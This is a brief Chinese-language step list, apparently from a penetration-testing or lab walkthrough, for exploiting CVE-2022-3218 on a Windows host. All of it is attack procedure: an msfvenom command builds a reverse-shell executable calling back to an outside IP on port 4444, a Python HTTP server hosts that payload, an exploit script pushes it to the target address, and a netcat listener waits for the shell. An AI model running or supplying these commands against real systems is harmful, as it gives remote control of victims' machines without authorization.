步骤 1 — 创建一个真实的载荷(Windows)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe
步骤 2 — 通过 HTTP 提供载荷服务 在同一目录下: python3 -m http.server 80
步骤 3 — 调整漏洞利用
按如下方式运行:
python3 CVE-2022-3218.py 172.20.7.185 10.8.5.50 exploit.exe
步骤 4 — 在利用之前启动监听器 nc -lvnp 4444